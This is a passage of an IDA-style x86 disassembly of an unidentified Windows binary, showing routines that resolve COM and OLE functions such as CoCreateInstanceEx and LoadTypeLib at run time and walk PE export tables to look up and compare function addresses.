		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		push	offset aClsid08x04x04x ; "CLSID\\{%08x-%04x-%04x-%02x%02x-%02x%02x"...
		push	offset dword_4A6F98
		call	ds:dword_4A27D4	; wsprintfA
		add	esp, 34h
		pop	ebp
		retn
sub_49A71C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A789	proc near		; DATA XREF: _6:004A23E8o

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F598
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_49A3B3
		add	esp, 1Ch
		test	eax, eax
		jl	short loc_49A7F3
		push	0FFFFFFFFh
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	loc_49A8AF
; ---------------------------------------------------------------------------

loc_49A7F3:				; CODE XREF: sub_49A789+4Dj
		and	[ebp+var_20], 0
		push	offset dword_49F5DC
		push	offset aCocreateinst_0 ; "CoCreateInstanceEx"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_49A847
		push	[ebp+arg_0]
		call	sub_49A638
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_49A847
		mov	[ebp+arg_8], 1
		push	[ebp+var_1C]
		call	ds:dword_4A2718	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_49A847
		push	8
		push	0
		push	[ebp+var_1C]
		call	sub_49BE96

loc_49A847:				; CODE XREF: sub_49A789+8Aj
					; sub_49A789+9Cj ...
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		and	[ebp+var_28], 0
		jmp	short loc_49A86C
; ---------------------------------------------------------------------------

loc_49A865:				; CODE XREF: sub_49A789+FAj
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax

loc_49A86C:				; CODE XREF: sub_49A789+DAj
		mov	eax, [ebp+var_28]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_49A885
		mov	eax, [ebp+var_28]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+eax]
		mov	[ebp+var_30], eax
		jmp	short loc_49A865
; ---------------------------------------------------------------------------

loc_49A885:				; CODE XREF: sub_49A789+E9j
		push	0FFFFFFFFh
		mov	eax, [ebp+var_24]
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_49A8AF
; ---------------------------------------------------------------------------

loc_49A89D:				; DATA XREF: _5:0049F5A0o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_4993DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax

loc_49A8AF:				; CODE XREF: sub_49A789+65j
					; sub_49A789+112j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_49A789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A8C0	proc near		; DATA XREF: _6:004A23F0o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F5A8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_49A31F
		add	esp, 18h
		test	eax, eax
		jl	short loc_49A927
		push	0FFFFFFFFh
		mov	eax, [ebp+var_24]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	loc_49A9B4
; ---------------------------------------------------------------------------

loc_49A927:				; CODE XREF: sub_49A8C0+4Aj
		mov	eax, [ebp+arg_4]
		and	eax, 1
		test	eax, eax
		jz	short loc_49A963
		push	[ebp+arg_0]
		call	sub_49A638
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_49A963
		mov	[ebp+arg_4], 1
		push	[ebp+var_1C]
		call	ds:dword_4A2718	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_49A963
		push	8
		push	0
		push	[ebp+var_1C]
		call	sub_49BE96

loc_49A963:				; CODE XREF: sub_49A8C0+6Fj
					; sub_49A8C0+81j ...
		and	[ebp+var_20], 0
		push	offset dword_49F5DC
		push	offset aCogetclassobje ; "CoGetClassObject"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_20]
		push	0FFFFFFFFh
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_49A9B4
; ---------------------------------------------------------------------------

loc_49A9A2:				; DATA XREF: _5:0049F5B0o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	sub_4993DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax

loc_49A9B4:				; CODE XREF: sub_49A8C0+62j
					; sub_49A8C0+E0j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_49A8C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49A9C5	proc near		; CODE XREF: sub_49AA34+9Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 80070057h
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	[ebp+arg_0]
		call	dword ptr [eax+18h]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jl	short loc_49AA2F
		and	[ebp+var_C], 0
		push	offset dword_49F5F8
		push	offset aGetrecordinfof ; "GetRecordInfoFromTypeInfo"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_49AA28
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	[ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		push	[ebp+var_4]
		call	dword ptr [eax+8]
		jmp	short loc_49AA2F
; ---------------------------------------------------------------------------

loc_49AA28:				; CODE XREF: sub_49A9C5+48j
		mov	[ebp+var_8], 80004005h

loc_49AA2F:				; CODE XREF: sub_49A9C5+2Aj
					; sub_49A9C5+61j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_49A9C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AA34	proc near		; DATA XREF: _6:off_4A23F8o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		mov	[ebp+var_4], 80004005h
		push	[ebp+arg_0]
		call	sub_493D50
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	loc_49AAFD
		and	[ebp+var_10], 0
		mov	edi, [ebp+var_8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_18], ecx
		push	208h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		mov	ecx, 82h
		xor	eax, eax
		mov	edi, [ebp+var_14]
		rep stosd
		push	104h
		push	[ebp+var_14]
		push	0FFFFFFFFh
		push	[ebp+var_8]
		push	0
		push	0
		call	ds:dword_4A2770	; MultiByteToWideChar
		push	offset dword_49F5F8
		push	offset aLoadtypelib ; "LoadTypeLib"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		call	[ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jl	short loc_49AAE9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+var_10]
		call	sub_49A9C5
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax]
		push	[ebp+var_10]
		call	dword ptr [eax+8]

loc_49AAE9:				; CODE XREF: sub_49AA34+94j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp+var_4]
		jmp	short loc_49AB37
; ---------------------------------------------------------------------------

loc_49AAFD:				; CODE XREF: sub_49AA34+1Ej
		and	[ebp+var_1C], 0
		push	offset dword_49F5F8
		push	offset aGetrecordinf_0 ; "GetRecordInfoFromGuids"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_49AB32
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_1C]
		jmp	short loc_49AB37
; ---------------------------------------------------------------------------

loc_49AB32:				; CODE XREF: sub_49AA34+E5j
		mov	eax, 80004005h

loc_49AB37:				; CODE XREF: sub_49AA34+C7j
					; sub_49AA34+FCj
		pop	edi
		leave
		retn	18h
sub_49AA34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AB3C	proc near		; DATA XREF: _6:004A2400o

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_8], 80004005h
		push	[ebp+arg_0]
		call	sub_493D50
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_49ABB5
		push	208h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		push	104h
		push	[ebp+var_10]
		push	0FFFFFFFFh
		push	[ebp+var_4]
		push	0
		push	0
		call	ds:dword_4A2770	; MultiByteToWideChar
		push	offset dword_49F5F8
		push	offset aLoadtypelib ; "LoadTypeLib"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_10]
		push	[ebp+var_10]
		call	[ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		call	sub_4993DD
		pop	ecx

loc_49ABB5:				; CODE XREF: sub_49AB3C+1Dj
		cmp	[ebp+var_8], 0
		jge	short loc_49ABE4
		push	offset dword_49F5F8
		push	offset aLoadregtypelib ; "LoadRegTypeLib"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_14]
		mov	[ebp+var_8], eax

loc_49ABE4:				; CODE XREF: sub_49AB3C+7Dj
		mov	eax, [ebp+var_8]
		leave
		retn	14h
sub_49AB3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49ABEB	proc near		; CODE XREF: sub_49AC22+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_49AC0E
		push	[ebp+arg_4]
		call	ds:dword_4A275C	; LoadLibraryA
		mov	[ebp+var_8], eax

loc_49AC0E:				; CODE XREF: sub_49ABEB+15j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	ds:dword_4A2728	; GetProcAddress
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_49ABEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AC22	proc near		; CODE XREF: sub_4968A0+16p
					; sub_49A518+CCp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_49ABEB
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_49AC4F
		push	ds:off_49F4F8
		push	30h
		push	ds:off_49F4FC
		call	sub_49948C

loc_49AC4F:				; CODE XREF: sub_49AC22+18j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_49AC22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AC54	proc near		; CODE XREF: sub_4208B4+5p
					; sub_4208C5+6p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_49AC64
		mov	[ebp+arg_0], offset sub_499C27

loc_49AC64:				; CODE XREF: sub_49AC54+7j
		movzx	eax, ds:byte_4A70D0
		test	eax, eax
		jnz	short loc_49AC7A
		push	[ebp+arg_0]
		call	ds:dword_4A2790	; SetUnhandledExceptionFilter
		jmp	short loc_49AC8A
; ---------------------------------------------------------------------------

loc_49AC7A:				; CODE XREF: sub_49AC54+19j
		push	offset sub_499C27
		call	ds:dword_4A2790	; SetUnhandledExceptionFilter
		mov	eax, offset sub_499C27

loc_49AC8A:				; CODE XREF: sub_49AC54+24j
		pop	ebp
		retn	4
sub_49AC54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AC8E	proc near		; CODE XREF: sub_49AD79+4Bp
					; sub_49AF43+108p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+18h]
		dec	eax
		mov	[ebp+var_4], eax

loc_49ACA2:				; CODE XREF: sub_49AC8E:loc_49AD70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jg	loc_49AD75
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax+20h]
		mov	eax, [ebp+var_10]
		mov	eax, [ecx+eax*4]
		add	eax, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_20], eax

loc_49ACD7:				; CODE XREF: sub_49AC8E+7Bj
		mov	eax, [ebp+var_20]
		mov	al, [eax]
		mov	[ebp+var_21], al
		mov	ecx, [ebp+var_1C]
		cmp	al, [ecx]
		jnz	short loc_49AD11
		cmp	[ebp+var_21], 0
		jz	short loc_49AD0B
		mov	eax, [ebp+var_20]
		mov	al, [eax+1]
		mov	[ebp+var_22], al
		mov	ecx, [ebp+var_1C]
		cmp	al, [ecx+1]
		jnz	short loc_49AD11
		add	[ebp+var_20], 2
		add	[ebp+var_1C], 2
		cmp	[ebp+var_22], 0
		jnz	short loc_49ACD7

loc_49AD0B:				; CODE XREF: sub_49AC8E+5Cj
		and	[ebp+var_28], 0
		jmp	short loc_49AD19
; ---------------------------------------------------------------------------

loc_49AD11:				; CODE XREF: sub_49AC8E+56j
					; sub_49AC8E+6Dj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_28], eax

loc_49AD19:				; CODE XREF: sub_49AC8E+81j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_49AD5A
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax+24h]
		mov	eax, [ebp+var_10]
		mov	ax, [ecx+eax*2]
		mov	[ebp+var_18], ax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax+1Ch]
		movzx	eax, [ebp+var_18]
		mov	eax, [ecx+eax*4]
		add	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		jmp	short locret_49AD77
; ---------------------------------------------------------------------------

loc_49AD5A:				; CODE XREF: sub_49AC8E+9Bj
		cmp	[ebp+var_C], 0
		jle	short loc_49AD69
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	short loc_49AD70
; ---------------------------------------------------------------------------

loc_49AD69:				; CODE XREF: sub_49AC8E+D0j
		mov	eax, [ebp+var_10]
		dec	eax
		mov	[ebp+var_4], eax

loc_49AD70:				; CODE XREF: sub_49AC8E+D9j
		jmp	loc_49ACA2
; ---------------------------------------------------------------------------

loc_49AD75:				; CODE XREF: sub_49AC8E+1Aj
		xor	eax, eax

locret_49AD77:				; CODE XREF: sub_49AC8E+CAj
		leave
		retn
sub_49AC8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AD79	proc near		; CODE XREF: sub_498494+97p
					; sub_498494+C5p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	[ebp+arg_4]
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_49AD9D
		push	[ebp+arg_4]
		call	ds:dword_4A275C	; LoadLibraryA
		mov	[ebp+var_14], eax

loc_49AD9D:				; CODE XREF: sub_49AD79+16j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, [eax+78h]
		mov	[ebp+var_4], ecx
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_49AC8E
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		leave
		retn
sub_49AD79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49ADD4	proc near		; CODE XREF: sub_495DC0+12p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	offset dword_4A70B8
		call	ds:dword_4A274C	; InitializeCriticalSection
		push	offset dword_4A7098
		call	ds:dword_4A274C	; InitializeCriticalSection
		push	28h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_49AE13
		push	83h
		mov	ecx, [ebp+var_8]
		call	sub_49C77C
		mov	[ebp+var_1C], eax
		jmp	short loc_49AE17
; ---------------------------------------------------------------------------

loc_49AE13:				; CODE XREF: sub_49ADD4+2Bj
		and	[ebp+var_1C], 0

loc_49AE17:				; CODE XREF: sub_49ADD4+3Dj
		mov	eax, [ebp+var_1C]
		mov	ds:dword_4A70D4, eax
		push	28h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_49AE3F
		push	9
		mov	ecx, [ebp+var_C]
		call	sub_49C77C
		mov	[ebp+var_20], eax
		jmp	short loc_49AE43
; ---------------------------------------------------------------------------

loc_49AE3F:				; CODE XREF: sub_49ADD4+5Aj
		and	[ebp+var_20], 0

loc_49AE43:				; CODE XREF: sub_49ADD4+69j
		mov	eax, [ebp+var_20]
		mov	ds:dword_4A70D8, eax
		push	28h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_49AE6B
		push	9
		mov	ecx, [ebp+var_10]
		call	sub_49C77C
		mov	[ebp+var_24], eax
		jmp	short loc_49AE6F
; ---------------------------------------------------------------------------

loc_49AE6B:				; CODE XREF: sub_49ADD4+86j
		and	[ebp+var_24], 0

loc_49AE6F:				; CODE XREF: sub_49ADD4+95j
		mov	eax, [ebp+var_24]
		mov	ds:dword_4A294C, eax
		push	28h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_49AE97
		push	9
		mov	ecx, [ebp+var_14]
		call	sub_49C77C
		mov	[ebp+var_28], eax
		jmp	short loc_49AE9B
; ---------------------------------------------------------------------------

loc_49AE97:				; CODE XREF: sub_49ADD4+B2j
		and	[ebp+var_28], 0

loc_49AE9B:				; CODE XREF: sub_49ADD4+C1j
		mov	eax, [ebp+var_28]
		mov	ds:dword_4A2954, eax
		push	28h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_49AEC3
		push	9
		mov	ecx, [ebp+var_18]
		call	sub_49C77C
		mov	[ebp+var_2C], eax
		jmp	short loc_49AEC7
; ---------------------------------------------------------------------------

loc_49AEC3:				; CODE XREF: sub_49ADD4+DEj
		and	[ebp+var_2C], 0

loc_49AEC7:				; CODE XREF: sub_49ADD4+EDj
		mov	eax, [ebp+var_2C]
		mov	ds:dword_4A2950, eax
		push	offset dword_49F5B4
		push	2Fh
		push	offset off_4A2250
		call	sub_49AF43
		add	esp, 0Ch
		push	offset dword_49F5C4
		push	2
		push	offset off_4A23C8
		call	sub_49AF43
		add	esp, 0Ch
		push	offset dword_49F5D0
		push	1
		push	offset off_4A23D8
		call	sub_49AF43
		add	esp, 0Ch
		push	offset dword_49F5DC
		push	3
		push	offset off_4A23E0
		call	sub_49AF43
		add	esp, 0Ch
		push	offset dword_49F5F8
		push	2
		push	offset off_4A23F8
		call	sub_49AF43
		add	esp, 0Ch
		push	offset dword_49F5B4
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_4], eax
		leave
		retn
sub_49ADD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49AF43	proc near		; CODE XREF: sub_49ADD4+107p
					; sub_49ADD4+11Bp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_4], 0
		push	[ebp+arg_8]
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_49AF6B
		push	[ebp+arg_8]
		call	ds:dword_4A275C	; LoadLibraryA
		mov	[ebp+var_10], eax

loc_49AF6B:				; CODE XREF: sub_49AF43+1Aj
		cmp	[ebp+var_10], 0
		jnz	short loc_49AF87
		push	ds:off_49F4F8
		push	0DDh
		push	ds:off_49F4FC
		call	sub_49948C

loc_49AF87:				; CODE XREF: sub_49AF43+2Cj
		push	1
		push	[ebp+var_10]
		mov	ecx, ds:dword_4A70D8
		call	sub_49C98E
		mov	eax, [ebp+var_10]
		and	eax, 0FFFh
		test	eax, eax
		jz	short loc_49AFBF
		mov	eax, [ebp+var_10]
		and	ax, 0F000h
		mov	[ebp+var_8], eax
		push	1
		push	[ebp+var_8]
		mov	ecx, ds:dword_4A70D8
		call	sub_49C98E
		jmp	short loc_49AFC5
; ---------------------------------------------------------------------------

loc_49AFBF:				; CODE XREF: sub_49AF43+5Ej
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax

loc_49AFC5:				; CODE XREF: sub_49AF43+7Aj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 4550h
		jnz	short loc_49AFE8
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		add	ecx, [eax+78h]
		mov	[ebp+var_4], ecx

loc_49AFE8:				; CODE XREF: sub_49AF43+97j
		and	[ebp+var_14], 0
		jmp	short loc_49AFF5
; ---------------------------------------------------------------------------

loc_49AFEE:				; CODE XREF: sub_49AF43:loc_49B082j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax

loc_49AFF5:				; CODE XREF: sub_49AF43+A9j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+arg_4]
		jnb	loc_49B087
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*8+4]
		push	[ebp+var_10]
		call	ds:dword_4A2728	; GetProcAddress
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_49B035
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*8]
		push	eax
		push	[ebp+var_18]
		mov	ecx, ds:dword_4A70D4
		call	sub_49C98E

loc_49B035:				; CODE XREF: sub_49AF43+D8j
		cmp	[ebp+var_4], 0
		jz	short loc_49B082
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*8+4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_49AC8E
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_1C]
		jz	short loc_49B082
		cmp	[ebp+var_1C], 0
		jz	short loc_49B082
